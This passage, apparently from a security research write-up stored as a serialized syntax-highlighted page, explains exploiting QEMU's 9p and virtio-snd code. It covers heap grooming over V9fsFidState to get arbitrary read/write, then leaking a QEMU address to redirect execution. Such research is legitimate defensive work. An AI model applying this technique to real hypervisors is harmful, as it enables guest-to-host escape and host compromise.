fid);\n",{"type":22,"tag":101,"props":133132,"children":133133},{"class":103,"line":1071},[133134],{"type":22,"tag":101,"props":133135,"children":133136},{"emptyLinePlaceholder":15},[133137],{"type":27,"value":1581},{"type":22,"tag":101,"props":133139,"children":133140},{"class":103,"line":1110},[133141],{"type":22,"tag":101,"props":133142,"children":133143},{"style":120},[133144],{"type":27,"value":108308},{"type":22,"tag":101,"props":133146,"children":133147},{"class":103,"line":1118},[133148],{"type":22,"tag":101,"props":133149,"children":133150},{"emptyLinePlaceholder":15},[133151],{"type":27,"value":1581},{"type":22,"tag":101,"props":133153,"children":133154},{"class":103,"line":1158},[133155],{"type":22,"tag":101,"props":133156,"children":133157},{"style":2215},[133158],{"type":27,"value":133159}," /* Make the file fid point to xattr */\n",{"type":22,"tag":101,"props":133161,"children":133162},{"class":103,"line":1166},[133163,133168,133172],{"type":22,"tag":101,"props":133164,"children":133165},{"style":120},[133166],{"type":27,"value":133167}," xattr_fidp ",{"type":22,"tag":101,"props":133169,"children":133170},{"style":166},[133171],{"type":27,"value":1511},{"type":22,"tag":101,"props":133173,"children":133174},{"style":120},[133175],{"type":27,"value":133176}," file_fidp;\n",{"type":22,"tag":101,"props":133178,"children":133179},{"class":103,"line":1215},[133180,133184,133188,133192,133196,133200,133204,133208,133212],{"type":22,"tag":101,"props":133181,"children":133182},{"style":126},[133183],{"type":27,"value":132001},{"type":22,"tag":101,"props":133185,"children":133186},{"style":120},[133187],{"type":27,"value":17759},{"type":22,"tag":101,"props":133189,"children":133190},{"style":126},[133191],{"type":27,"value":40978},{"type":22,"tag":101,"props":133193,"children":133194},{"style":120},[133195],{"type":27,"value":231},{"type":22,"tag":101,"props":133197,"children":133198},{"style":126},[133199],{"type":27,"value":131925},{"type":22,"tag":101,"props":133201,"children":133202},{"style":120},[133203],{"type":27,"value":231},{"type":22,"tag":101,"props":133205,"children":133206},{"style":126},[133207],{"type":27,"value":13147},{"type":22,"tag":101,"props":133209,"children":133210},{"style":166},[133211],{"type":27,"value":960},{"type":22,"tag":101,"props":133213,"children":133214},{"style":120},[133215],{"type":27,"value":128109},{"type":22,"tag":101,"props":133217,"children":133218},{"class":103,"line":2425},[133219,133223,133227,133231,133235,133239,133243,133247,133251,133255],{"type":22,"tag":101,"props":133220,"children":133221},{"style":126},[133222],{"type":27,"value":132001},{"type":22,"tag":101,"props":133224,"children":133225},{"style":120},[133226],{"type":27,"value":17759},{"type":22,"tag":101,"props":133228,"children":133229},{"style":126},[133230],{"type":27,"value":40978},{"type":22,"tag":101,"props":133232,"children":133233},{"style":120},[133234],{"type":27,"value":231},{"type":22,"tag":101,"props":133236,"children":133237},{"style":126},[133238],{"type":27,"value":131925},{"type":22,"tag":101,"props":133240,"children":133241},{"style":120},[133242],{"type":27,"value":231},{"type":22,"tag":101,"props":133244,"children":133245},{"style":126},[133246],{"type":27,"value":43146},{"type":22,"tag":101,"props":133248,"children":133249},{"style":166},[133250],{"type":27,"value":960},{"type":22,"tag":101,"props":133252,"children":133253},{"style":926},[133254],{"type":27,"value":127680},{"type":22,"tag":101,"props":133256,"children":133257},{"style":120},[133258],{"type":27,"value":132038},{"type":22,"tag":101,"props":133260,"children":133261},{"class":103,"line":5417},[133262],{"type":22,"tag":101,"props":133263,"children":133264},{"emptyLinePlaceholder":15},[133265],{"type":27,"value":1581},{"type":22,"tag":101,"props":133267,"children":133268},{"class":103,"line":7714},[133269],{"type":22,"tag":101,"props":133270,"children":133271},{"style":120},[133272],{"type":27,"value":108308},{"type":22,"tag":23,"props":133274,"children":133275},{},[133276,133278,133284,133286,133291,133292,133297,133299,133304,133306,133312,133313,133319,133321,133326,133327,133332],{"type":27,"value":133277},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":22,"tag":30,"props":133279,"children":133281},{"className":133280},[],[133282],{"type":27,"value":133283},"V9fsFidState",{"type":27,"value":133285}," object. In other words, if we can place a ",{"type":22,"tag":30,"props":133287,"children":133289},{"className":133288},[],[133290],{"type":27,"value":133283},{"type":27,"value":11336},{"type":22,"tag":30,"props":133293,"children":133295},{"className":133294},[],[133296],{"type":27,"value":132852},{"type":27,"value":133298}," currently sits, the overlapping ",{"type":22,"tag":30,"props":133300,"children":133302},{"className":133301},[],[133303],{"type":27,"value":132860},{"type":27,"value":133305}," chunk can overwrite ",{"type":22,"tag":30,"props":133307,"children":133309},{"className":133308},[],[133310],{"type":27,"value":133311},"V9fsFidState.fs.xattr.value",{"type":27,"value":209},{"type":22,"tag":30,"props":133314,"children":133316},{"className":133315},[],[133317],{"type":27,"value":133318},"V9fsFidState.fs.xattr.len",{"type":27,"value":133320},". That would immediately give us arbitrary read and write through ",{"type":22,"tag":30,"props":133322,"children":133324},{"className":133323},[],[133325],{"type":27,"value":132114},{"type":27,"value":209},{"type":22,"tag":30,"props":133328,"children":133330},{"className":133329},[],[133331],{"type":27,"value":132106},{"type":27,"value":231},{"type":22,"tag":23,"props":133334,"children":133335},{},[133336,133338,133343,133344,133349,133351,133356,133358,133364,133366,133371,133373,133378,133380,133385,133387,133392,133394,133399],{"type":27,"value":133337},"At this point, ",{"type":22,"tag":30,"props":133339,"children":133341},{"className":133340},[],[133342],{"type":27,"value":132852},{"type":27,"value":19444},{"type":22,"tag":30,"props":133345,"children":133347},{"className":133346},[],[133348],{"type":27,"value":131321},{"type":27,"value":133350}," chunk, while ",{"type":22,"tag":30,"props":133352,"children":133354},{"className":133353},[],[133355],{"type":27,"value":133283},{"type":27,"value":133357}," falls into the ",{"type":22,"tag":30,"props":133359,"children":133361},{"className":133360},[],[133362],{"type":27,"value":133363},"0x120",{"type":27,"value":133365}," size class. Before freeing ",{"type":22,"tag":30,"props":133367,"children":133369},{"className":133368},[],[133370],{"type":27,"value":132852},{"type":27,"value":133372},", we therefore use the oversized ",{"type":22,"tag":30,"props":133374,"children":133376},{"className":133375},[],[133377],{"type":27,"value":132860},{"type":27,"value":133379}," chunk to change its size to match ",{"type":22,"tag":30,"props":133381,"children":133383},{"className":133382},[],[133384],{"type":27,"value":133283},{"type":27,"value":133386},". Once ",{"type":22,"tag":30,"props":133388,"children":133390},{"className":133389},[],[133391],{"type":27,"value":132852},{"type":27,"value":133393}," is freed, it is inserted into the ",{"type":22,"tag":30,"props":133395,"children":133397},{"className":133396},[],[133398],{"type":27,"value":133363},{"type":27,"value":133400}," tcache bin.",{"type":22,"tag":91,"props":133402,"children":133404},{"code":133403}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[133405],{"type":22,"tag":30,"props":133406,"children":133407},{"__ignoreMap":7},[133408],{"type":27,"value":133403},{"type":22,"tag":23,"props":133410,"children":133411},{},[133412,133414,133419,133421,133427,133429,133435,133437,133442],{"type":27,"value":133413},"After that, we can simply allocate a new ",{"type":22,"tag":30,"props":133415,"children":133417},{"className":133416},[],[133418],{"type":27,"value":133283},{"type":27,"value":133420}," with a ",{"type":22,"tag":30,"props":133422,"children":133424},{"className":133423},[],[133425],{"type":27,"value":133426},"P9_TWALK",{"type":27,"value":133428}," request and a fresh FID - this reaches ",{"type":22,"tag":30,"props":133430,"children":133432},{"className":133431},[],[133433],{"type":27,"value":133434},"alloc_fid",{"type":27,"value":133436},", which allocates a new ",{"type":22,"tag":30,"props":133438,"children":133440},{"className":133439},[],[133441],{"type":27,"value":133283},{"type":27,"value":169},{"type":22,"tag":91,"props":133444,"children":133446},{"code":133445,"language":7187,"meta":7,"className":20513,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[133447],{"type":22,"tag":30,"props":133448,"children":133449},{"__ignoreMap":7},[133450,133490,133497,133513,133541,133548,133555,133562,133583,133590,133605,133627,133651,133672,133683,133690,133728,133770,133777,133784,133791,133798,133805,133856,133863,133878,133885,133933,133945,133953,133982,133997,134004,134033,134040],{"type":22,"tag":101,"props":133451,"children":133452},{"class":103,"line":104},[133453,133457,133461,133465,133470,133474,133478,133482,133486],{"type":22,"tag":101,"props":133454,"children":133455},{"style":108},[133456],{"type":27,"value":55040},{"type":22,"tag":101,"props":133458,"children":133459},{"style":108},[133460],{"type":27,"value":55045},{"type":22,"tag":101,"props":133462,"children":133463},{"style":120},[133464],{"type":27,"value":131451},{"type":22,"tag":101,"props":133466,"children":133467},{"style":926},[133468],{"type":27,"value":133469},"v9fs_walk",{"type":22,"tag":101,"props":133471,"children":133472},{"style":120},[133473],{"type":27,"value":980},{"type":22,"tag":101,"props":133475,"children":133476},{"style":108},[133477],{"type":27,"value":55623},{"type":22,"tag":101,"props":133479,"children":133480},{"style":166},[133481],{"type":27,"value":13822},{"type":22,"tag":101,"props":133483,"children":133484},{"style":126},[133485],{"type":27,"value":131473},{"type":22,"tag":101,"props":133487,"children":133488},{"style":120},[133489],{"type":27,"value":2510},{"type":22,"tag":101,"props":133491,"children":133492},{"class":103,"line":157},[133493],{"type":22,"tag":101,"props":133494,"children":133495},{"style":120},[133496],{"type":27,"value":14886},{"type":22,"tag":101,"props":133498,"children":133499},{"class":103,"line":182},[133500,133504,133508],{"type":22,"tag":101,"props":133501,"children":133502},{"style":120},[133503],{"type":27,"value":131598},{"type":22,"tag":101,"props":133505,"children":133506},{"style":166},[133507],{"type":27,"value":8615},{"type":22,"tag":101,"props":133509,"children":133510},{"style":120},[133511],{"type":27,"value":133512},"fidp;\n",{"type":22,"tag":101,"props":133514,"children":133515},{"class":103,"line":367},[133516,133520,133524,133529,133533,133537],{"type":22,"tag":101,"props":133517,"children":133518},{"style":120},[133519],{"type":27,"value":131598},{"type":22,"tag":101,"props":133521,"children":133522},{"style":166},[133523],{"type":27,"value":8615},{"type":22,"tag":101,"props":133525,"children":133526},{"style":120},[133527],{"type":27,"value":133528},"newfidp ",{"type":22,"tag":101,"props":133530,"children":133531},{"style":166},[133532],{"type":27,"value":1511},{"type":22,"tag":101,"props":133534,"children":133535},{"style":108},[133536],{"type":27,"value":131277},{"type":22,"tag":101,"props":133538,"children":133539},{"style":120},[133540],{"type":27,"value":1520},{"type":22,"tag":101,"props":133542,"children":133543},{"class":103,"line":398},[133544],{"type":22,"tag":101,"props":133545,"children":133546},{"emptyLinePlaceholder":15},[133547],{"type":27,"value":1581},{"type":22,"tag":101,"props":133549,"children":133550},{"class":103,"line":428},[133551],{"type":22,"tag":101,"props":133552,"children":133553},{"style":120},[133554],{"type":27,"value":108308},{"type":22,"tag":101,"props":133556,"children":133557},{"class":103,"line":997},[133558],{"type":22,"tag":101,"props":133559,"children":133560},{"emptyLinePlaceholder":15},[133561],{"type":27,"value":1581},{"type":22,"tag":101,"props":133563,"children":133564},{"class":103,"line":1032},[133565,133569,133574,133578],{"type":22,"tag":101,"props":133566,"children":133567},{"style":3595},[133568],{"type":27,"value":16283},{"type":22,"tag":101,"props":133570,"children":133571},{"style":120},[133572],{"type":27,"value":133573}," (fid ",{"type":22,"tag":101,"props":133575,"children":133576},{"style":166},[133577],{"type":27,"value":4340},{"type":22,"tag":101,"props":133579,"children":133580},{"style":120},[133581],{"type":27,"value":133582}," newfid) {\n",{"type":22,"tag":101,"props":133584,"children":133585},{"class":103,"line":1063},[133586],{"type":22,"tag":101,"props":133587,"children":133588},{"style":120},[133589],{"type":27,"value":127546},{"type":22,"tag":101,"props":133591,"children":133592},{"class":103,"line":1071},[133593,133597,133601],{"type":22,"tag":101,"props":133594,"children":133595},{"style":120},[133596],{"type":27,"value":19777},{"type":22,"tag":101,"props":133598,"children":133599},{"style":3595},[133600],{"type":27,"value":7354},{"type":22,"tag":101,"props":133602,"children":133603},{"style":120},[133604],{"type":27,"value":154},{"type":22,"tag":101,"props":133606,"children":133607},{"class":103,"line":1110},[133608,133613,133617,133622],{"type":22,"tag":101,"props":133609,"children":133610},{"style":120},[133611],{"type":27,"value":133612}," newfidp ",{"type":22,"tag":101,"props":133614,"children":133615},{"style":166},[133616],{"type":27,"value":1511},{"type":22,"tag":101,"props":133618,"children":133619},{"style":926},[133620],{"type":27,"value":133621}," alloc_fid",{"type":22,"tag":101,"props":133623,"children":133624},{"style":120},[133625],{"type":27,"value":133626},"(s, newfid);\n",{"type":22,"tag":101,"props":133628,"children":133629},{"class":103,"line":1118},[133630,133634,133639,133643,133647],{"type":22,"tag":101,"props":133631,"children":133632},{"style":3595},[133633],{"type":27,"value":7312},{"type":22,"tag":101,"props":133635,"children":133636},{"style":120},[133637],{"type":27,"value":133638}," (newfidp ",{"type":22,"tag":101,"props":133640,"children":133641},{"style":166},[133642],{"type":27,"value":4340},{"type":22,"tag":101,"props":133644,"children":133645},{"style":108},[133646],{"type":27,"value":131277},{"type":22,"tag":101,"props":133648,"children":133649},{"style":120},[133650],{"type":27,"value":1463},{"type":22,"tag":101,"props":133652,"children":133653},{"class":103,"line":1158},[133654,133659,133663,133667],{"type":22,"tag":101,"props":133655,"children":133656},{"style":120},[133657],{"type":27,"value":133658}," err ",{"type":22,"tag":101,"props":133660,"children":133661},{"style":166},[133662],{"type":27,"value":1511},{"type":22,"tag":101,"props":133664,"children":133665},{"style":166},[133666],{"type":27,"value":55251},{"type":22,"tag":101,"props":133668,"children":133669},{"style":120},[133670],{"type":27,"value":133671},"EINVAL;\n",{"type":22,"tag":101,"props":133673,"children":133674},{"class":103,"line":1166},[133675,133679],{"type":22,"tag":101,"props":133676,"children":133677},{"style":3595},[133678],{"type":27,"value":64547},{"type":22,"tag":101,"props":133680,"children":133681},{"style":120},[133682],{"type":27,"value":64552},{"type":22,"tag":101,"props":133684,"children":133685},{"class":103,"line":1215},[133686],{"type":22,"tag":101,"props":133687,"children":133688},{"style":120},[133689],{"type":27,"value":2398},{"type":22,"tag":101,"props":133691,"children":133692},{"class":103,"line":2425},[133693,133698,133702,133707,133711,133716,133720,133724],{"type":22,"tag":101,"props":133694,"children":133695},{"style":126},[133696],{"type":27,"value":133697}," newfidp",{"type":22,"tag":101,"props":133699,"children":133700},{"style":120},[133701],{"type":27,"value":17759},{"type":22,"tag":101,"props":133703,"children":133704},{"style":126},[133705],{"type":27,"value":133706},"uid",{"type":22,"tag":101,"props":133708,"children":133709},{"style":166},[133710],{"type":27,"value":960},{"type":22,"tag":101,"props":133712,"children":133713},{"style":126},[133714],{"type":27,"value":133715}," fidp",{"type":22,"tag":101,"props":133717,"children":133718},{"style":120},[133719],{"type":27,"value":17759},{"type":22,"tag":101,"props":133721,"children":133722},{"style":126},[133723],{"type":27,"value":133706},{"type":22,"tag":101,"props":133725,"children":133726},{"style":120},[133727],{"type":27,"value":1520},{"type":22,"tag":101,"props":133729,"children":133730},{"class":103,"line":5417},[133731,133736,133740,133744,133749,133753,133757,133761,133765],{"type":22,"tag":101,"props":133732,"children":133733},{"style":926},[133734],{"type":27,"value":133735}," v9fs_path_copy",{"type":22,"tag":101,"props":133737,"children":133738},{"style":120},[133739],{"type":27,"value":980},{"type":22,"tag":101,"props":133741,"children":133742},{"style":166},[133743],{"type":27,"value":985},{"type":22,"tag":101,"props":133745,"children":133746},{"style":126},[133747],{"type":27,"value":133748},"newfidp",{"type":22,"tag":101,"props":133750,"children":133751},{"style":120},[133752],{"type":27,"value":17759},{"type":22,"tag":101,"props":133754,"children":133755},{"style":126},[133756],{"type":27,"value":115831},{"type":22,"tag":101,"props":133758,"children":133759},{"style":120},[133760],{"type":27,"value":758},{"type":22,"tag":101,"props":133762,"children":133763},{"style":166},[133764],{"type":27,"value":985},{"type":22,"tag":101,"props":133766,"children":133767},{"style":120},[133768],{"type":27,"value":133769},"path);\n",{"type":22,"tag":101,"props":133771,"children":133772},{"class":103,"line":7714},[133773],{"type":22,"tag":101,"props":133774,"children":133775},{"style":120},[133776],{"type":27,"value":1734},{"type":22,"tag":101,"props":133778,"children":133779},{"class":103,"line":7723},[133780],{"type":22,"tag":101,"props":133781,"children":133782},{"emptyLinePlaceholder":15},[133783],{"type":27,"value":1581},{"type":22,"tag":101,"props":133785,"children":133786},{"class":103,"line":7791},[133787],{"type":22,"tag":101,"props":133788,"children":133789},{"style":120},[133790],{"type":27,"value":108308},{"type":22,"tag":101,"props":133792,"children":133793},{"class":103,"line":7799},[133794],{"type":22,"tag":101,"props":133795,"children":133796},{"style":120},[133797],{"type":27,"value":188},{"type":22,"tag":101,"props":133799,"children":133800},{"class":103,"line":7829},[133801],{"type":22,"tag":101,"props":133802,"children":133803},{"emptyLinePlaceholder":15},[133804],{"type":27,"value":1581},{"type":22,"tag":101,"props":133806,"children":133807},{"class":103,"line":7837},[133808,133812,133817,133821,133825,133830,133834,133838,133842,133847,133852],{"type":22,"tag":101,"props":133809,"children":133810},{"style":108},[133811],{"type":27,"value":55040},{"type":22,"tag":101,"props":133813,"children":133814},{"style":120},[133815],{"type":27,"value":133816}," V9fsFidState ",{"type":22,"tag":101,"props":133818,"children":133819},{"style":166},[133820],{"type":27,"value":8615},{"type":22,"tag":101,"props":133822,"children":133823},{"style":926},[133824],{"type":27,"value":133434},{"type":22,"tag":101,"props":133826,"children":133827},{"style":120},[133828],{"type":27,"value":133829},"(V9fsState ",{"type":22,"tag":101,"props":133831,"children":133832},{"style":166},[133833],{"type":27,"value":8615},{"type":22,"tag":101,"props":133835,"children":133836},{"style":126},[133837],{"type":27,"value":14657},{"type":22,"tag":101,"props":133839,"children":133840},{"style":120},[133841],{"type":27,"value":758},{"type":22,"tag":101,"props":133843,"children":133844},{"style":108},[133845],{"type":27,"value":133846},"int32_t",{"type":22,"tag":101,"props":133848,"children":133849},{"style":126},[133850],{"type":27,"value":133851}," fid",{"type":22,"tag":101,"props":133853,"children":133854},{"style":120},[133855],{"type":27,"value":2510},{"type":22,"tag":101,"props":133857,"children":133858},{"class":103,"line":7868},[133859],{"type":22,"tag":101,"props":133860,"children":133861},{"style":120},[133862],{"type":27,"value":14886},{"type":22,"tag":101,"props":133864,"children":133865},{"class":103,"line":7876},[133866,133870,133874],{"type":22,"tag":101,"props":133867,"children":133868},{"style":120},[133869],{"type":27,"value":131598},{"type":22,"tag":101,"props":133871,"children":133872},{"style":166},[133873],{"type":27,"value":8615},{"type":22,"tag":101,"props":133875,"children":133876},{"style":120},[133877],{"type":27,"value":55161},{"type":22,"tag":101,"props":133879,"children":133880},{"class":103,"line":7936},[133881],{"type":22,"tag":101,"props":133882,"children":133883},{"emptyLinePlaceholder":15},[133884],{"type":27,"value":1581},{"type":22,"tag":101,"props":133886,"children":133887},{"class":103,"line":13054},[133888,133893,133897,133902,133906,133910,133914,133919,133923,133928],{"type":22,"tag":101,"props":133889,"children":133890},{"style":120},[133891],{"type":27,"value":133892}," f ",{"type":22,"tag":101,"props":133894,"children":133895},{"style":166},[133896],{"type":27,"value":1511},{"type":22,"tag":101,"props":133898,"children":133899},{"style":926},[133900],{"type":27,"value":133901}," g_hash_table_lookup",{"type":22,"tag":101,"props":133903,"children":133904},{"style":120},[133905],{"type":27,"value":980},{"type":22,"tag":101,"props":133907,"children":133908},{"style":126},[133909],{"type":27,"value":14657},{"type":22,"tag":101,"props":133911,"children":133912},{"style":120},[133913],{"type":27,"value":17759},{"type":22,"tag":101,"props":133915,"children":133916},{"style":126},[133917],{"type":27,"value":133918},"fids",{"type":22,"tag":101,"props":133920,"children":133921},{"style":120},[133922],{"type":27,"value":758},{"type":22,"tag":101,"props":133924,"children":133925},{"style":926},[133926],{"type":27,"value":133927},"GINT_TO_POINTER",{"type":22,"tag":101,"props":133929,"children":133930},{"style":120},[133931],{"type":27,"value":133932},"(fid));\n",{"type":22,"tag":101,"props":133934,"children":133935},{"class":103,"line":13072},[133936,133940],{"type":22,"tag":101,"props":133937,"children":133938},{"style":3595},[133939],{"type":27,"value":16283},{"type":22,"tag":101,"props":133941,"children":133942},{"style":120},[133943],{"type":27,"value":133944}," (f) {\n",{"type":22,"tag":101,"props":133946,"children":133947},{"class":103,"line":13117},[133948],{"type":22,"tag":101,"props":133949,"children":133950},{"style":2215},[133951],{"type":27,"value":133952}," /* If fid is already there return NULL */\n",{"type":22,"tag":101,"props":133954,"children":133955},{"class":103,"line":13223},[133956,133961,133965,133969,133973,133978],{"type":22,"tag":101,"props":133957,"children":133958},{"style":926},[133959],{"type":27,"value":133960}," BUG_ON",{"type":22,"tag":101,"props":133962,"children":133963},{"style":120},[133964],{"type":27,"value":980},{"type":22,"tag":101,"props":133966,"children":133967},{"style":126},[133968],{"type":27,"value":37080},{"type":22,"tag":101,"props":133970,"children":133971},{"style":120},[133972],{"type":27,"value":17759},{"type":22,"tag":101,"props":133974,"children":133975},{"style":126},[133976],{"type":27,"value":133977},"clunked",{"type":22,"tag":101,"props":133979,"children":133980},{"style":120},[133981],{"type":27,"value":994},{"type":22,"tag":101,"props":133983,"children":133984},{"class":103,"line":27496},[133985,133989,133993],{"type":22,"tag":101,"props":133986,"children":133987},{"style":3595},[133988],{"type":27,"value":19742},{"type":22,"tag":101,"props":133990,"children":133991},{"style":108},[133992],{"type":27,"value":131277},{"type":22,"tag":101,"props":133994,"children":133995},{"style":120},[133996],{"type":27,"value":1520},{"type":22,"tag":101,"props":133998,"children":133999},{"class":103,"line":27531},[134000],{"type":22,"tag":101,"props":134001,"children":134002},{"style":120},[134003],{"type":27,"value":1734},{"type":22,"tag":101,"props":134005,"children":134006},{"class":103,"line":27539},[134007,134011,134015,134020,134025,134029],{"type":22,"tag":101,"props":134008,"children":134009},{"style":120},[134010],{"type":27,"value":133892},{"type":22,"tag":101,"props":134012,"children":134013},{"style":166},[134014],{"type":27,"value":1511},{"type":22,"tag":101,"props":134016,"children":134017},{"style":926},[134018],{"type":27,"value":134019}," g_new0",{"type":22,"tag":101,"props":134021,"children":134022},{"style":120},[134023],{"type":27,"value":134024},"(V9fsFidState, ",{"type":22,"tag":101,"props":134026,"children":134027},{"style":1544},[134028],{"type":27,"value":6813},{"type":22,"tag":101,"props":134030,"children":134031},{"style":120},[134032],{"type":27,"value":994},{"type":22,"tag":101,"props":134034,"children":134035},{"class":103,"line":27547},[134036],{"type":22,"tag":101,"props":134037,"children":134038},{"emptyLinePlaceholder":15},[134039],{"type":27,"value":1581},{"type":22,"tag":101,"props":134041,"children":134042},{"class":103,"line":27556},[134043],{"type":22,"tag":101,"props":134044,"children":134045},{"style":120},[134046],{"type":27,"value":108308},{"type":22,"tag":23,"props":134048,"children":134049},{},[134050,134052,134057],{"type":27,"value":134051},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":22,"tag":30,"props":134053,"children":134055},{"className":134054},[],[134056],{"type":27,"value":132852},{"type":27,"value":132189},{"type":22,"tag":91,"props":134059,"children":134061},{"code":134060}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[134062],{"type":22,"tag":30,"props":134063,"children":134064},{"__ignoreMap":7},[134065],{"type":27,"value":134060},{"type":22,"tag":22883,"props":134067,"children":134069},{"id":134068},"leaking-a-qemu-address",[134070],{"type":27,"value":134071},"Leaking a QEMU Address",{"type":22,"tag":23,"props":134073,"children":134074},{},[134075],{"type":27,"value":134076},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":22,"tag":23,"props":134078,"children":134079},{},[134080,134082,134087],{"type":27,"value":134081},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":22,"tag":30,"props":134083,"children":134085},{"className":134084},[],[134086],{"type":27,"value":127272},{"type":27,"value":169},{"type":22,"tag":91,"props":134089,"children":134091},{"code":134090,"language":7187,"meta":7,"className":20513,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[134092],{"type":22,"tag":30,"props":134093,"children":134094},{"__ignoreMap":7},[134095,134138,134145,134176,134191,134206,134218,134231,134238,134245,134252,134263,134278,134285,134313,134332,134343,134350,134358,134395,134416,134428,134441,134454,134480,134492,134499,134537,134544,134551,134558,134589,134644,134656,134697,134720,134749,134776,134803,134835],{"type":22,"tag":101,"props":134096,"children":134097},{"class":103,"line":104},[134098,134102,134106,134110,134114,134118,134122,134126,134130,134134],{"type":22,"tag":101,"props":134099,"children":134100},{"style":108},[134101],{"type":27,"value":55040},{"type":22,"tag":101,"props":134103,"children":134104},{"style":108},[134105],{"type":27,"value":55045},{"type":22,"tag":101,"props":134107,"children":134108},{"style":926},[134109],{"type":27,"value":127351},{"type":22,"tag":101,"props":134111,"children":134112},{"style":120},[134113],{"type":27,"value":127356},{"type":22,"tag":101,"props":134115,"children":134116},{"style":166},[134117],{"type":27,"value":8615},{"type":22,"tag":101,"props":134119,"children":134120},{"style":126},[134121],{"type":27,"value":127365},{"type":22,"tag":101,"props":134123,"children":134124},{"style":120},[134125],{"type":27,"value":127370},{"type":22,"tag":101,"props":134127,"children":134128},{"style":166},[134129],{"type":27,"value":8615},{"type":22,"tag":101,"props":134131,"children":134132},{"style":126},[134133],{"type":27,"value":127379},{"type":22,"tag":101,"props":134135,"children":134136},{"style":120},[134137],{"type":27,"value":2510},{"type":22,"tag":101,"props":134139,"children":134140},{"class":103,"line":157},[134141],{"type":22,"tag":101,"props":134142,"children":134143},{"style":120},[134144],{"type":27,"value":14886},{"type":22,"tag":101,"props":134146,"children":134147},{"class":103,"line":182},[134148,134153,134157,134162,134166,134171],{"type":22,"tag":101,"props":134149,"children":134150},{"style":120},[134151],{"type":27,"value":134152}," VirtIOSound ",{"type":22,"tag":101,"props":134154,"children":134155},{"style":166},[134156],{"type":27,"value":8615},{"type":22,"tag":101,"props":134158,"children":134159},{"style":120},[134160],{"type":27,"value":134161},"vsnd ",{"type":22,"tag":101,"props":134163,"children":134164},{"style":166},[134165],{"type":27,"value":1511},{"type":22,"tag":101,"props":134167,"children":134168},{"style":926},[134169],{"type":27,"value":134170}," VIRTIO_SND",{"type":22,"tag":101,"props":134172,"children":134173},{"style":120},[134174],{"type":27,"value":134175},"(vdev);\n",{"type":22,"tag":101,"props":134177,"children":134178},{"class":103,"line":367},[134179,134183,134187],{"type":22,"tag":101,"props":134180,"children":134181},{"style":120},[134182],{"type":27,"value":128369},{"type":22,"tag":101,"props":134184,"children":134185},{"style":166},[134186],{"type":27,"value":8615},{"type":22,"tag":101,"props":134188,"children":134189},{"style":120},[134190],{"type":27,"value":128378},{"type":22,"tag":101,"props":134192,"children":134193},{"class":103,"line":398},[134194,134198,134202],{"type":22,"tag":101,"props":134195,"children":134196},{"style":120},[134197],{"type":27,"value":127398},{"type":22,"tag":101,"props":134199,"children":134200},{"style":166},[134201],{"type":27,"value":8615},{"type":22,"tag":101,"props":134203,"children":134204},{"style":120},[134205],{"type":27,"value":127407},{"type":22,"tag":101,"props":134207,"children":134208},{"class":103,"line":428},[134209,134213],{"type":22,"tag":101,"props":134210,"children":134211},{"style":108},[134212],{"type":27,"value":20563},{"type":22,"tag":101,"props":134214,"children":134215},{"style":120},[134216],{"type":27,"value":134217}," msg_sz, size;\n",{"type":22,"tag":101,"props":134219,"children":134220},{"class":103,"line":997},[134221,134226],{"type":22,"tag":101,"props":134222,"children":134223},{"style":108},[134224],{"type":27,"value":134225}," uint32_t",{"type":22,"tag":101,"props":134227,"children":134228},{"style":120},[134229],{"type":27,"value":134230}," 